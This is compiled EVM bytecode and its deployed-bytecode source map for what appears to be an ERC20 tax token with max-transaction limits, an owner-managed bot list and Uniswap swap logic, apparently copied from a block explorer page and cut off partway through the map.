0390fd5b8091505092915050565b5f80830361216a575f90506121cb565b5f82846121779190612c1f565b90508284826121869190613484565b146121c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121bd90613524565b60405180910390fd5b809150505b92915050565b5f61221283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061255d565b905092915050565b5f80823b90505f8111915050919050565b5f818311612239578261223b565b815b905092915050565b60016015806101000a81548160ff0219169083151502179055505f600267ffffffffffffffff81111561227957612278612827565b5b6040519080825280602002602001820160405280156122a75781602001602082028036833780820191505090505b50905030815f815181106122be576122bd612cc8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612362573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906123869190612d71565b8160018151811061239a57612399612cc8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506124003060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461134a565b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016124629594939291906135f9565b5f604051808303815f87803b158015612479575f80fd5b505af115801561248b573d5f803e3d5ffd5b50505050505f6015806101000a81548160ff02191690831515021790555050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015612510573d5f803e3d5ffd5b5050565b5f61255583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061209b565b905092915050565b5f80831182906125a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161259a9190612648565b60405180910390fd5b505f83856125b19190613484565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156125f55780820151818401526020810190506125da565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61261a826125be565b61262481856125c8565b93506126348185602086016125d8565b61263d81612600565b840191505092915050565b5f6020820190508181035f8301526126608184612610565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6126a282612679565b9050919050565b6126b281612698565b81146126bc575f80fd5b50565b5f813590506126cd816126a9565b92915050565b5f819050919050565b6126e5816126d3565b81146126ef575f80fd5b50565b5f81359050612700816126dc565b92915050565b5f806040838503121561271c5761271b612671565b5b5f612729858286016126bf565b925050602061273a858286016126f2565b9150509250929050565b5f8115159050919050565b61275881612744565b82525050565b5f6020820190506127715f83018461274f565b92915050565b612780816126d3565b82525050565b5f6020820190506127995f830184612777565b92915050565b5f805f606084860312156127b6576127b5612671565b5b5f6127c3868287016126bf565b93505060206127d4868287016126bf565b92505060406127e5868287016126f2565b9150509250925092565b5f60ff82169050919050565b612804816127ef565b82525050565b5f60208201905061281d5f8301846127fb565b92915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61285d82612600565b810181811067ffffffffffffffff8211171561287c5761287b612827565b5b80604052505050565b5f61288e612668565b905061289a8282612854565b919050565b5f67ffffffffffffffff8211156128b9576128b8612827565b5b602082029050602081019050919050565b5f80fd5b5f6128e06128db8461289f565b612885565b90508083825260208201905060208402830185811115612903576129026128ca565b5b835b8181101561292c578061291888826126bf565b845260208401935050602081019050612905565b5050509392505050565b5f82601f83011261294a57612949612823565b5b813561295a8482602086016128ce565b91505092915050565b5f6020828403121561297857612977612671565b5b5f82013567ffffffffffffffff81111561299557612994612675565b5b6129a184828501612936565b91505092915050565b5f602082840312156129bf576129be612671565b5b5f6129cc848285016126bf565b91505092915050565b5f80604083850312156129eb576129ea612671565b5b5f6129f8858286016126f2565b9250506020612a09858286016126f2565b9150509250929050565b612a1c81612698565b82525050565b5f602082019050612a355f830184612a13565b92915050565b5f8060408385031215612a5157612a50612671565b5b5f612a5e858286016126bf565b9250506020612a6f858286016126bf565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115612afb57808604811115612ad757612ad6612a79565b5b6001851615612ae65780820291505b8081029050612af485612aa6565b9450612abb565b94509492505050565b5f82612b135760019050612bce565b81612b20575f9050612bce565b8160018114612b365760028114612b4057612b6f565b6001915050612bce565b60ff841115612b5257612b51612a79565b5b8360020a915084821115612b6957612b68612a79565b5b50612bce565b5060208310610133831016604e8410600b8410161715612ba45782820a905083811115612b9f57612b9e612a79565b5b612bce565b612bb18484846001612ab2565b92509050818404811115612bc857612bc7612a79565b5b81810290505b9392505050565b5f612bdf826126d3565b9150612bea836127ef565b9250612c177fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612b04565b905092915050565b5f612c29826126d3565b9150612c34836126d3565b9250828202612c42816126d3565b91508282048414831517612c5957612c58612a79565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612c946020836125c8565b9150612c9f82612c60565b602082019050919050565b5f6020820190508181035f830152612cc181612c88565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f612d296017836125c8565b9150612d3482612cf5565b602082019050919050565b5f6020820190508181035f830152612d5681612d1d565b9050919050565b5f81519050612d6b816126a9565b92915050565b5f60208284031215612d8657612d85612671565b5b5f612d9384828501612d5d565b91505092915050565b5f604082019050612daf5f830185612a13565b612dbc6020830184612a13565b9392505050565b5f819050919050565b5f819050919050565b5f612def612dea612de584612dc3565b612dcc565b6126d3565b9050919050565b612dff81612dd5565b82525050565b5f60c082019050612e185f830189612a13565b612e256020830188612777565b612e326040830187612df6565b612e3f6060830186612df6565b612e4c6080830185612a13565b612e5960a0830184612777565b979650505050505050565b5f81519050612e72816126dc565b92915050565b5f805f60608486031215612e8f57612e8e612671565b5b5f612e9c86828701612e64565b9350506020612ead86828701612e64565b9250506040612ebe86828701612e64565b9150509250925092565b5f604082019050612edb5f830185612a13565b612ee86020830184612777565b9392505050565b612ef881612744565b8114612f02575f80fd5b50565b5f81519050612f1381612eef565b92915050565b5f60208284031215612f2e57612f2d612671565b5b5f612f3b84828501612f05565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612f9e6024836125c8565b9150612fa982612f44565b604082019050919050565b5f6020820190508181035f830152612fcb81612f92565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61302c6022836125c8565b915061303782612fd2565b604082019050919050565b5f6020820190508181035f83015261305981613020565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6130ba6025836125c8565b91506130c582613060565b604082019050919050565b5f6020820190508181035f8301526130e7816130ae565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6131486023836125c8565b9150613153826130ee565b604082019050919050565b5f6020820190508181035f8301526131758161313c565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6131d66029836125c8565b91506131e18261317c565b604082019050919050565b5f6020820190508181035f830152613203816131ca565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f61323e6019836125c8565b91506132498261320a565b602082019050919050565b5f6020820190508181035f83015261326b81613232565b9050919050565b5f61327c826126d3565b9150613287836126d3565b925082820190508082111561329f5761329e612a79565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f6132d9601a836125c8565b91506132e4826132a5565b602082019050919050565b5f6020820190508181035f830152613306816132cd565b9050919050565b5f613317826126d3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361334957613348612a79565b5b600182019050919050565b7f4578636565647320746865206d617857616c6c657453697a65000000000000005f82015250565b5f6133886019836125c8565b915061339382613354565b602082019050919050565b5f6020820190508181035f8301526133b58161337c565b9050919050565b5f6133c6826126d3565b91506133d1836126d3565b92508282039050818111156133e9576133e8612a79565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f613423601b836125c8565b915061342e826133ef565b602082019050919050565b5f6020820190508181035f83015261345081613417565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61348e826126d3565b9150613499836126d3565b9250826134a9576134a8613457565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f61350e6021836125c8565b9150613519826134b4565b604082019050919050565b5f6020820190508181035f83015261353b81613502565b9050919050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61357481612698565b82525050565b5f613585838361356b565b60208301905092915050565b5f602082019050919050565b5f6135a782613542565b6135b1818561354c565b93506135bc8361355c565b805f5b838110156135ec5781516135d3888261357a565b97506135de83613591565b9250506001810190506135bf565b5085935050505092915050565b5f60a08201905061360c5f830188612777565b6136196020830187612df6565b818103604083015261362b818661359d565b905061363a6060830185612a13565b6136476080830184612777565b969550505050505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a5546e444b57d332a8455f92da5642d6a25e8134ed7f86615ff09b4d26b43ecf64736f6c63430008160033

Deployed Bytecode Sourcemap

3880:8882:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6185:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7018:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5063:55;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6462:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7187:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6371:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11735:171;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11914:86;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7508:205;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6565:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2774:148;;;;;;;;;;;;;:::i;:::-;;11290:162;;;;;;;;;;;;;:::i;:::-;;4865:57;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2560:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5528:133;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4929:59;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6276:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6692:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4995:61;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12008:714;;;;;;;;;;;;;:::i;:::-;;11560:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6867:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6185:83;6222:13;6255:5;;;;;;;;;;;;;;;;;6248:12;;6185:83;:::o;7018:161::-;7093:4;7110:39;7119:12;:10;:12::i;:::-;7133:7;7142:6;7110:8;:39::i;:::-;7167:4;7160:11;;7018:161;;;;:::o;5063:55::-;;;;:::o;6462:95::-;6515:7;4671:1;4729:2;:13;;;;:::i;:::-;4714:12;:28;;;;:::i;:::-;6535:14;;6462:95;:::o;7187:313::-;7285:4;7302:36;7312:6;7320:9;7331:6;7302:9;:36::i;:::-;7349:121;7358:6;7366:12;:10;:12::i;:::-;7380:89;7418:6;7380:89;;;;;;;;;;;;;;;;;:11;:19;7392:6;7380:19;;;;;;;;;;;;;;;:33;7400:12;:10;:12::i;:::-;7380:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;7349:8;:121::i;:::-;7488:4;7481:11;;7187:313;;;;;:::o;6371:83::-;6412:5;4671:1;6430:16;;6371:83;:::o;11735:171::-;2697:12;:10;:12::i;:::-;2687:22;;:6;;;;;;;;;;:22;;;2679:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11810:9:::1;11805:94;11829:6;:13;11825:1;:17;11805:94;;;11882:5;11864:4;:15;11869:6;11876:1;11869:9;;;;;;;;:::i;:::-;;;;;;;;11864:15;;;;;;;;;;;;;;;;:23;;;;;;;;;;;;;;;;;;11844:3;;;;;;;11805:94;;;;11735:171:::0;:::o;11914:86::-;11961:4;11985;:7;11990:1;11985:7;;;;;;;;;;;;;;;;;;;;;;;;;11978:14;;11914:86;;;:::o;7508:205::-;7614:12;:10;:12::i;:::-;7595:31;;:15;;;;;;;;;;;:31;;;7587:40;;;;;;7653:12;7638;:27;;;;7692:13;7676;:29;;;;7508:205;;:::o;6565:119::-;6631:7;6658:9;:18;6668:7;6658:18;;;;;;;;;;;;;;;;6651:25;;6565:119;;;:::o;2774:148::-;2697:12;:10;:12::i;:::-;2687:22;;:6;;;;;;;;;;:22;;;2679:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;2881:1:::1;2844:40;;2865:6;::::0;::::1;;;;;;;;2844:40;;;;;;;;;;;;2912:1;2895:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;2774:148::o:0;11290:162::-;2697:12;:10;:12::i;:::-;2687:22;;:6;;;;;;;;;;:22;;;2679:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4671:1:::1;4729:2;:13;;;;:::i;:::-;4714:12;:28;;;;:::i;:::-;11344:12;:22;;;;4671:1;4729:2;:13;;;;:::i;:::-;4714:12;:28;;;;:::i;:::-;11377:14;:24;;;;11417:27;4671:1;4729:2;:13;;;;:::i;:::-;4714:12;:28;;;;:::i;:::-;11417:27;;;;;;:::i;:::-;;;;;;;;11290:162::o:0;4865:57::-;;;;:::o;2560:79::-;2598:7;2625:6;;;;;;;;;;;2618:13;;2560:79;:::o;5528:133::-;2697:12;:10;:12::i;:::-;2687:22;;:6;;;;;;;;;;:22;;;2679:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;5639:14:::1;5611:25;;:42;;;;;;;;;;;;;;;;;;5528:133:::0;:::o;4929:59::-;;;;:::o;6276:87::-;6315:13;6348:7;;;;;;;;;;;;;;;;;6341:14;;6276:87;:::o;6692:167::-;6770:4;6787:42;6797:12;:10;:12::i;:::-;6811:9;6822:6;6787:9;:42::i;:::-;6847:4;6840:11;;6692:167;;;;:::o;4995:61::-;;;;:::o;12008:714::-;2697:12;:10;:12::i;:::-;2687:22;;:6;;;;;;;;;;:22;;;2679:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12070:11:::1;;;;;;;;;;;12069:12;12061:48;;;;;;;;;;;;:::i;:::-;;;;;;;;;12157:42;12120:15;;:80;;;;;;;;;;;;;;;;;;12211:58;12228:4;12243:15;;;;;;;;;;;4671:1;4729:2;:13;;;;:::i;:::-;4714:12;:28;;;;:::i;:::-;12211:8;:58::i;:::-;12314:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12296:55;;;12360:4;12367:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12296:94;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12280:13;;:110;;;;;;;;;;;;;;;;;;12401:15;;;;;;;;;;;:31;;;12440:21;12471:4;12478:24;12496:4;12478:9;:24::i;:::-;12504:1;12507::::0;12510:7:::1;:5;:7::i;:::-;12519:15;12401:134;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;12553:13;;;;;;;;;;;12546:29;;;12584:15;;;;;;;;;;;12602:17;12546:74;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;12645:4;12631:11;;:18;;;;;;;;;;;;;;;;;;12674:4;12660:11;;:18;;;;;;;;;;;;;;;;;;12702:12;12689:10;:25;;;;12008:714::o:0;11560:167::-;2697:12;:10;:12::i;:::-;2687:22;;:6;;;;;;;;;;:22;;;2679:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11634:9:::1;11629:91;11653:5;:12;11649:1;:16;11629:91;;;11704:4;11687;:14;11692:5;11698:1;11692:8;;;;;;;;:::i;:::-;;;;;;;;11687:14;;;;;;;;;;;;;;;;:21;;;;;;;;;;;;;;;;;;11667:3;;;;;;;11629:91;;;;11560:167:::0;:::o;6867:143::-;6948:7;6975:11;:18;6987:5;6975:18;;;;;;;;;;;;;;;:27;6994:7;6975:27;;;;;;;;;;;;;;;;6968:34;;6867:143;;;;:::o;204:98::-;257:7;284:10;277:17;;204:98;:::o;7721:335::-;7831:1;7814:19;;:5;:19;;;7806:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7912:1;7893:21;;:7;:21;;;7885:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7994:6;7964:11;:18;7976:5;7964:18;;;;;;;;;;;;;;;:27;7983:7;7964:27;;;;;;;;;;;;;;;:36;;;;8032:7;8016:32;;8025:5;8016:32;;;8041:6;8016:32;;;;;;:::i;:::-;;;;;;;;7721:335;;;:::o;8064:2485::-;8168:1;8152:18;;:4;:18;;;8144:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8245:1;8231:16;;:2;:16;;;8223:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;8315:1;8306:6;:10;8298:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;8373:17;8417:25;;;;;;;;;;;8409:33;;:4;:33;;;8405:111;;8477:27;8497:6;8477:9;:15;8487:4;8477:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;8459:9;:15;8469:4;8459:15;;;;;;;;;;;;;;;:45;;;;8405:111;8538:7;:5;:7::i;:::-;8530:15;;:4;:15;;;;:32;;;;;8555:7;:5;:7::i;:::-;8549:13;;:2;:13;;;;8530:32;8526:1652;;;8588:4;:10;8593:4;8588:10;;;;;;;;;;;;;;;;;;;;;;;;;8587:11;:24;;;;;8603:4;:8;8608:2;8603:8;;;;;;;;;;;;;;;;;;;;;;;;;8602:9;8587:24;8579:33;;;;;;8639:82;8717:3;8639:73;8663:15;;8651:9;;:27;8650:61;;8697:14;;8650:61;;;8682:12;;8650:61;8639:6;:10;;:73;;;;:::i;:::-;:77;;:82;;;;:::i;:::-;8627:94;;8751:25;;;;;;;;;;;8743:33;;:4;:33;;;;8742:123;;;;;8790:13;;;;;;;;;;;8782:21;;:4;:21;;;:55;;;;;8821:15;;;;;;;;;;;8807:30;;:2;:30;;;;8782:55;:82;;;;;8842:18;:22;8861:2;8842:22;;;;;;;;;;;;;;;;;;;;;;;;;8841:23;8782:82;8742:123;8738:474;;;8904:12;;8894:6;:22;;8886:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;8999:14;;8989:6;8973:13;8983:2;8973:9;:13::i;:::-;:22;;;;:::i;:::-;:40;;8965:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;9086:12;9082:1;9069:10;;:14;;;;:::i;:::-;:29;9065:102;;;9132:14;9143:2;9132:10;:14::i;:::-;9131:15;9123:24;;;;;;9065:102;9185:9;;:11;;;;;;;;;:::i;:::-;;;;;;8738:474;9241:25;;;;;;;;;;;9233:33;;:4;:33;;;;:56;;;;;9284:4;9270:19;;:2;:19;;;;9233:56;9232:110;;;;;9301:13;;;;;;;;;;;9295:19;;:2;:19;;;;:46;;;;;9319:18;:22;9338:2;9319:22;;;;;;;;;;;;;;;;;;;;;;;;;9318:23;9295:46;9232:110;9228:229;;;9397:14;;9387:6;9371:13;9381:2;9371:9;:13::i;:::-;:22;;;;:::i;:::-;:40;;9363:78;;;;;;;;;;;;:::i;:::-;;;;;;;;;9228:229;9483:13;;;;;;;;;;;9477:19;;:2;:19;;;:44;;;;;9516:4;9500:21;;:4;:21;;;;9477:44;9473:182;;;9554:85;9635:3;9554:76;9578:16;;9566:9;;:28;9565:64;;9614:15;;9565:64;;;9598:13;;9565:64;9554:6;:10;;:76;;;;:::i;:::-;:80;;:85;;;;:::i;:::-;9542:97;;9473:182;9671:28;9702:24;9720:4;9702:9;:24::i;:::-;9671:55;;9746:6;;;;;;;;;;9745:7;:30;;;;;9762:13;;;;;;;;;;;9756:19;;:2;:19;;;9745:30;:45;;;;;9779:11;;;;;;;;;;;9745:45;:89;;;;;9817:17;;9794:20;:40;9745:89;:123;;;;;9850:18;;9838:9;;:30;9745:123;9741:426;;;9889:69;9906:51;9910:6;9918:38;9922:20;9944:11;;9918:3;:38::i;:::-;9906:3;:51::i;:::-;9889:16;:69::i;:::-;9977:26;10006:21;9977:50;;10071:1;10050:18;:22;10046:106;;;10097:35;10110:21;10097:12;:35::i;:::-;10046:106;9870:297;9741:426;8564:1614;8526:1652;10206:1;10194:9;:13;10190:172;;;10251:39;10280:9;10251;:24;10269:4;10251:24;;;;;;;;;;;;;;;;:28;;:39;;;;:::i;:::-;10224:9;:24;10242:4;10224:24;;;;;;;;;;;;;;;:66;;;;10333:4;10310:40;;10319:4;10310:40;;;10340:9;10310:40;;;;;;:::i;:::-;;;;;;;;10190:172;10390:27;10410:6;10390:9;:15;10400:4;10390:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;10372:9;:15;10382:4;10372:15;;;;;;;;;;;;;;;:45;;;;10444:40;10462:21;10473:9;10462:6;:10;;:21;;;;:::i;:::-;10444:9;:13;10454:2;10444:13;;;;;;;;;;;;;;;;:17;;:40;;;;:::i;:::-;10428:9;:13;10438:2;10428:13;;;;;;;;;;;;;;;:56;;;;10515:2;10500:41;;10509:4;10500:41;;;10519:21;10530:9;10519:6;:10;;:21;;;;:::i;:::-;10500:41;;;;;;:::i;:::-;;;;;;;;8133:2416;8064:2485;;;:::o;1387:224::-;1507:7;1540:1;1535;:6;;1543:12;1527:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1567:9;1583:1;1579;:5;;;;:::i;:::-;1567:17;;1602:1;1595:8;;;1387:224;;;;;:::o;1056:179::-;1114:7;1134:9;1150:1;1146;:5;;;;:::i;:::-;1134:17;;1175:1;1170;:6;;1162:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1226:1;1219:8;;;1056:179;;;;:::o;1619:246::-;1677:7;1706:1;1701;:6;1697:47;;1731:1;1724:8;;;;1697:47;1754:9;1770:1;1766;:5;;;;:::i;:::-;1754:17;;1799:1;1794;1790;:5;;;;:::i;:::-;:10;1782:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;1856:1;1849:8;;;1619:246;;;;;:::o;1873:132::-;1931:7;1958:39;1962:1;1965;1958:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;1951:46;;1873:132;;;;:::o;10672:195::-;10731:4;10748:12;10815:7;10803:20;10795:28;;10858:1;10851:4;:8;10844:15;;;10672:195;;;:::o;10557:107::-;10614:7;10646:1;10642;:5;10641:15;;10655:1;10641:15;;;10651:1;10641:15;10634:22;;10557:107;;;;:::o;10875:407::-;5765:4;5756:6;;:13;;;;;;;;;;;;;;;;;;10953:21:::1;10991:1;10977:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10953:40;;11022:4;11004;11009:1;11004:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;11048:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11038:4;11043:1;11038:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;::::0;::::1;11081:62;11098:4;11113:15;;;;;;;;;;;11131:11;11081:8;:62::i;:::-;11154:15;;;;;;;;;;;:66;;;11221:11;11234:1;11237:4;11251;11258:15;11154:120;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;10942:340;5801:5:::0;5792:6;;:14;;;;;;;;;;;;;;;;;;10875:407;:::o;11460:92::-;11517:10;;;;;;;;;;;:19;;:27;11537:6;11517:27;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11460:92;:::o;1243:136::-;1301:7;1328:43;1332:1;1335;1328:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1321:50;;1243:136;;;;:::o;2013:223::-;2133:7;2165:1;2161;:5;2168:12;2153:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2192:9;2208:1;2204;:5;;;;:::i;:::-;2192:17;;2227:1;2220:8;;;2013:223;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1349:75::-;1382:6;1415:2;1409:9;1399:19;;1349:75;:::o;1430:117::-;1539:1;1536;1529:12;1553:117;1662:1;1659;1652:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5